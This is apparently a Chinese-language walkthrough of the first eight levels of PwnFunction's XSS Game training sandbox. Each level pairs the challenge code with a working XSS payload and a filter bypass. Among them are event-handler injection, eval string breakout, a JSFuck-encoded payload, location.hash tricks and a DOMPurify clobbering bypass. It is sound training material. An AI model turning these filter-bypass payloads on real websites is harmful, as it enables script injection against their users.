XSS漏洞复现

小试牛刀(前8关)

靶场地址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关

要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.

代码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

首先我们判断他的可以传参的点,发现在倒数第二行代码处.

<script>alert(1337)<script>    发现被过滤了

我就去查找了 innerHTML的用法

但是我们会发现还有一个标签没有被过滤可以执行js代码

<img src=1 onerror="alert(1337)">

第二关

要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

看到源码判断漏洞点 eval(`ma = "Ma name ${jeff}"`),看到前端页面初步判断这应该是漏洞点

aaa输出到了JEFFF的位置了.

很显然alert(1337)被当作字符串输出到页面了 ,想想应该是那个双引号的影响,就联想到sql中逃逸 " 闭合

aaa"alert(1337)"

出现了语法错误,前端直接不显示了,查看官方文档发现前端中用 - 来连接语句。

aaa"-alert(1337)-"

第三关

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

我们发现和第一关有类似之处,后面发现 replace(/[<>]/g, '')。他有个过滤,我们第一关的方法行不通了。再想想之前学过的知识有什么函数可以执行js也没有用到<>呢?

"onfocus=alert(1337)"

查询到这个函数可以执行js也没有用到<>,

然后发现onfocus需要用户操作交互才能触发所以不符合关卡要求,通过文档得知autofocus可以自动聚焦触发js.

aaaa"onfocus=alert(1337)%20autofocus="

第四关

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

这一关没有做什么限制,找到传参点

ricardo.submit() 发现这里有个提交没做任何限制就直接上传js

javascript:alert(1337)

第五关

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

看到题目,发现和前几关类似,但是这次过滤不同,没有过滤<>那就可以用img标签。

<img src=1 onerror="alert(1337)">

但是括号被过滤,这里我们就想着给括号编码,

<img src=1 onerror="alert%25281337%2529">

结果发现并没有对28,29进行编码 ,是什么原因呢是不是把它当成一整字符串了,所以没有编码通过查资料得知payload,查了location的用法是

<img src=1 onerror=location="javascript:alert%25281337%2529">

第六关

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

一道字母数字的绕过,想到的第一个方向就是通过编码译码来绕过,使用jsfuck工具编码

balls = balls.replace(/[A-Za-z0-9]/g, '')   这应该就是漏洞点了
?balls=%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D((!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(+%5B!%5B%5D%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(+(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B+!+%5B%5D%5D))%5B(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+((+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D%5D(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D%5D)+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D)()((!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D+%5B+!+%5B%5D%5D+(%5B+%5B%5D%5D+!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B!+%5B%5D+!+%5B%5D+%5B+%5B%5D%5D%5D)

第七关

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

我们看到这一关过滤了很多,最主要过滤了/alert/,但是他没有过滤大写,但是html是严格区分大小写的,这就很头疼,但是想到了官方给出了这么一个函数Function.

这样我们就可以解决这个难题,查看了他的用法就开始构造payload,也想到前端有个函数可以将大写转化为小写。

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

不知道我是什么原因toLowerCase这个函数用不了,但是eval(mafia)我也可以利用,location的作用前面的关卡已经说到了,slice(1)从后往前截取第一个。

eval(location.hash.slice(1))#alert(1337)

第八关

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

我们看到有两个限制函数DOMPurify,innerHTML 。DOMPurify在网上开源的,可以查到他的黑白名单。

之后我们来看看漏洞点, setTimeout(ok, 2000)这个语句。

setTimeout ()可以执行函数,那要怎么进到这个函数里面呢,我们就需要构造ok。

?<a id=ok href=tel:alert(1337)>

a标签是在白名单内的,id=ok作为标识符,再利用锚点标签的 href 属性,构造一个电话协议的url

alert(1337)一个js的函数调用。这里为什么用tel因为他在DOMPurify的白名单内。

相关推荐
hackeroink1 小时前
【2024版】最新推荐好用的XSS漏洞扫描利用工具_xss扫描工具
前端·xss
2401_857439692 小时前
SSM 架构下 Vue 电脑测评系统:为电脑性能评估赋能
开发语言·php
迷雾漫步者2 小时前
Flutter组件————FloatingActionButton
前端·flutter·dart
向前看-3 小时前
验证码机制
前端·后端
燃先生._.4 小时前
Day-03 Vue(生命周期、生命周期钩子八个函数、工程化开发和脚手架、组件化开发、根组件、局部注册和全局注册的步骤)
前端·javascript·vue.js
高山我梦口香糖5 小时前
[react]searchParams转普通对象
开发语言·前端·javascript
m0_748235245 小时前
前端实现获取后端返回的文件流并下载
前端·状态模式
m0_748240256 小时前
前端如何检测用户登录状态是否过期
前端
black^sugar6 小时前
纯前端实现更新检测
开发语言·前端·javascript